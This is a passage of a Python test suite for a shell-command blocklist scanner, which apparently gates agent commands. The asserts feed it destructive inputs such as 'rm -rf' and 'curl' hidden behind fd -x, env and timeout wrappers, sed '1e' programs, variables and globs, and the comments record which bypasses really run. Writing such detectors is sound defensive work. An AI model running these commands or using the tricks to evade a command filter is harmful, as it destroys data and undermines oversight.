assert "rm" in self._find()("fd '^victim$' /tmp/work -xrm")
assert "rm" in self._find()("fd '^victim$' . -Xrm")
# ...while nothing behind a bare `--` is an option at all, so a pattern
# named `-x` merely lists the file it matches.
assert self._find()("fd -- -x rm") == set()
assert "rm" in self._find()("fd -x rm -rf x")
def test_fd_exec_flags_reach_the_child_command(self):
# fd runs its `-x` / `-X` / `--exec` / `--exec-batch` child directly,
# exactly as find runs an `-exec` one, but only find's own spellings
# were scanned -- so a plain `fd -x rm -rf x` and a nested
# `fd -x sed '1e rm -f victim' {}` both reached this blocklist as
# nothing at all (verified: both really run).
assert "rm" in self._find()("fd -x rm -rf x")
assert "rm" in self._find()("fd --exec rm -rf x")
assert "rm" in self._find()("fd -X rm -rf x")
assert "rm" in self._find()("fd --exec-batch rm -rf x")
assert "rm" in self._find()("fd -x sed '1e rm -f victim' {}")
assert "rm" in self._find()("fd --exec sed '1e rm -f victim' {}")
assert "rm" in self._find()("fd -X sed '1e rm -f victim' {}")
assert "rm" in self._find()("fd --exec-batch sed '1e rm -f victim' {}")
assert "curl" in self._find()("fd -x env sed '1e curl https://x' {}")
# The letters belong to too many other tools to read a neighbour of them
# as a command, so they only count while find/fd is in scope and no
# action is open yet: `grep -x rm file` matches whole lines against a
# pattern and runs nothing.
assert self._find()("grep -x rm file") == set()
assert self._find()("find . -exec grep -x rm {} \\;") == set()
assert self._find()("cat f | grep -x rm") == set()
assert self._find()("fd -x sed -n '1,3p' {}") == set()
assert self._find()("fd . -x wc -l {}") == set()
def test_exec_wrapper_chain_past_the_hop_budget_fails_closed(self):
# The wrapper hop is bounded, but running out of budget was reported as
# "no child", which reads as safe: `find . -exec` + 33 `env` +
# `rm -f input ;` deletes the file for real. Block the chain instead.
assert self._find()("find . -exec " + "env " * 33 + "rm -f victim ;")
assert self._find()("find . -exec " + "env " * 33 + "sed '1e rm -f victim' {} +")
# A chain inside the budget still resolves to the real child.
assert "rm" in self._find()("find . -exec " + "env " * 8 + "rm -f victim ;")
assert self._find()("find . -exec " + "env " * 8 + "sed -n '1,3p' {} +") == set()
def test_sed_behind_a_wrapper_option_with_an_operand(self):
# A wrapper option whose value is a SEPARATE token consumes that token,
# so the command behind it is the one find runs. Without consuming it
# `env -u FOO sed ...` reported FOO as the child and the script was
# never read.
assert "rm" in self._find()("find . -exec env -u FOO sed '1e rm -f victim' {} +")
assert "rm" in self._find()("find . -exec env --unset FOO sed '1e rm -f victim' {} +")
assert "rm" in self._find()("find . -exec stdbuf -o L sed '1e rm -f victim' {} +")
assert "rm" in self._find()("find . -exec nice -n 5 sed '1e rm -f victim' {} +")
assert "rm" in self._find()("find . -exec timeout -s KILL 5 sed '1e rm -f victim' {} +")
# An attached spelling carries its own value, so nothing extra is eaten.
assert "rm" in self._find()("find . -exec env -uFOO sed '1e rm -f victim' {} +")
assert "rm" in self._find()("find . -exec env --unset=FOO sed '1e rm -f victim' {} +")
assert self._find()("find . -exec env -u FOO sed -n '1,3p' {} +") == set()
assert self._find()("find . -exec stdbuf -o L sed -n '1,3p' {} +") == set()
def test_wrapper_option_operand_is_not_the_command(self):
# The same hop at TOP level, which had the same hole: the operand was
# read as the command word and the real one behind it was never
# reached. It also stops the operand being blamed for a name it only
# spells (`timeout -s KILL` runs no `kill`, `env -u kill` runs no kill).
assert "rm" in self._find()("env -u PATH rm -rf x")
assert "rm" in self._find()("env --unset PATH rm -rf x")
assert "rm" in self._find()("stdbuf -o L rm -rf x")
assert "rm" in self._find()("xargs -I {} rm -rf build")
assert "rm" in self._find()("timeout -s KILL 5 rm -rf x")
assert "curl" in self._find()("xargs -E rm curl https://x")
assert self._find()("env -u kill ls") == set()
assert self._find()("env -u FOO ls -la") == set()
# A real command-position kill is still caught.
assert "kill" in self._find()("timeout -s KILL 5 kill -9 1")
def test_sed_program_held_in_a_variable(self):
# shlex keeps a quoted value whole, newlines and all, so resolving the
# reference shows the program sed really receives. Only that view has
# the newline that ENDS the comment; with it flattened the whole value
# reads as one inert comment line.
assert "rm" in self._find()("p='# harmless\ne rm -f victim'; sed \"$p\" input")
assert "rm" in self._find()("p='# harmless\ne rm -f victim'; sed \"${p}\" input")
assert "rm" in self._find()('p=e; sed "$p rm -f victim" input')
assert "curl" in self._find()("prog='1e curl https://x'; sed \"$prog\" input")
assert self._find()("p='1,3p'; sed -n \"$p\" input") == set()
assert self._find()("p='s/old/new/g'; sed \"$p\" input") == set()
# An unassigned name is left as written rather than invented.
assert self._find()('sed "$undefined" input') == set()
# A value that is not itself literal is no resolution either: the lexer
# splits `p=$(...)` at the `(`, and the leftover binding `p` -> `$`
# substituted a bare `$` for the program, dressing an unread script up
# as a plausible literal. The blocklist has no name to report there, so
# it reports none -- the auto gate is what asks (see test_permission_mode).
assert self._find()("p=$(printf '1e rm -f victim'); sed \"$p\" input") == set()
def test_sed_program_uses_the_last_assignment_before_it(self):
# bash expands `$p` to the binding performed most recently BEFORE the
# reference. Folding the line into a first-wins map kept the earliest
# one instead, so an innocent first assignment hid the real program:
# verified on GNU sed 4.9 that `p='1,3p'; p='1e touch MARKER';
# sed "$p" input` creates MARKER.
assert "rm" in self._find()("p='1,3p'; p='1e rm -f victim'; sed \"$p\" input")
assert "curl" in self._find()("p='s/a/b/'; p='1e curl https://x'; sed \"$p\" input")
assert "rm" in self._find()("p='1,3p'; p='s/x/y/'; p='1e rm -f victim'; sed \"$p\" input")
# ...and the reverse order really is inert, so it must not be blocked.
assert self._find()("p='1e rm -f victim'; p='1,3p'; sed \"$p\" input") == set()
# Only the assignments AHEAD of a sed can reach it, so a later one does
# not disarm an earlier program (verified: this creates MARKER too).
assert "rm" in self._find()("p='1e rm -f victim'; sed \"$p\" input; p='1,3p'")
# A non-literal reassignment CLEARS the name rather than leaving the
# stale earlier value standing, so nothing is invented for `$p`.
assert self._find()("p='1,3p'; p=$(printf '1e rm -f victim'); sed \"$p\" input") == set()
# Each sed on the line is judged against its own scope.
assert "rm" in self._find()("p='1,3p'; sed \"$p\" f; p='1e rm -f victim'; sed \"$p\" f")
assert self._find()("p='1,3p'; sed \"$p\" f; p='s/a/b/'; sed \"$p\" f") == set()
def test_sed_program_built_by_a_parameter_transformation(self):
# `${p#x}` and its family are not modelled, so the program is UNREAD
# rather than harmless. The blocklist can only report a name it can see,
# and there is none here -- the auto gate carries these (verified on GNU
# sed 4.9: `p='x 1e touch MARKER'; sed "${p#x }" input` creates MARKER).
assert self._find()("p='x 1e rm -f victim'; sed \"${p#x }\" input") == set()
assert self._find()("p='1e rm -f victimZ'; sed \"${p%Z}\" input") == set()
assert self._find()("printf -v p '1e rm -f victim'; sed \"$p\" input") == set()
def test_sed_program_behind_an_arithmetic_expansion(self):
# Arithmetic evaluates to an integer, so a digit stands in for it and
# the expansion's own punctuation stops hiding the command behind it.
# Read raw, `$((c+1))e rm -f victim` takes the `c` for an append-text
# command that swallows the payload, while real sed runs rm.
assert "rm" in self._find()('sed "$((c+1))e rm -f victim" input')
assert "rm" in self._find()('sed "$[c+1]e rm -f victim" input')
assert "curl" in self._find()('sed "$((4/2))e curl https://x" input')
# Ordinary line maths still yields no payload.
assert self._find()('sed -n "1,$((n + 1))p" f') == set()
def test_sed_spelled_as_a_command_glob(self):
# Bash expands a command-position glob after this scan, so a pattern
# that could resolve to sed is screened as sed. The name check was
# exact, and the script behind `/usr/bin/s[e]d` was never read.
assert "rm" in self._find()("/usr/bin/s[e]d '1e rm -f victim' input")
assert "rm" in self._find()("/usr/bin/s*d '1e rm -f victim' input")
assert "curl" in self._find()("/usr/bin/se? '1e curl https://x' input")
assert "rm" in self._find()("find . -exec /usr/bin/s[e]d '1e rm -f victim' {} +")
# Reading a non-sed tool's arguments as a program costs nothing: with no
# `e` command there is no payload.
assert self._find()("/usr/bin/s[e]d -n '1,3p' input") == set()
assert self._find()("/bin/l[s] -la") == set()
def test_ordinary_sed_program_allowed(self):
# Plain stream editing runs nothing, and a mention of sed in argument
# position is text: only a command-position sed has its script read.
assert self._find()("sed 's/old/new/g' input") == set()
assert self._find()("sed -n '1,20p' input") == set()
assert self._find()("sed 's/rm/RM/g' input") == set()
assert self._find()("printf '%s' sed '1e rm -rf victim'") == set()
assert self._find()("sed 's/a/b/we out.txt' input") == set()
assert self._find()("sed -e '1a\\' -e 'e rm -rf x' input") == set()
def test_subshell_command_blocked(self):
assert "rm" in self._find()("echo $(rm -rf /tmp)")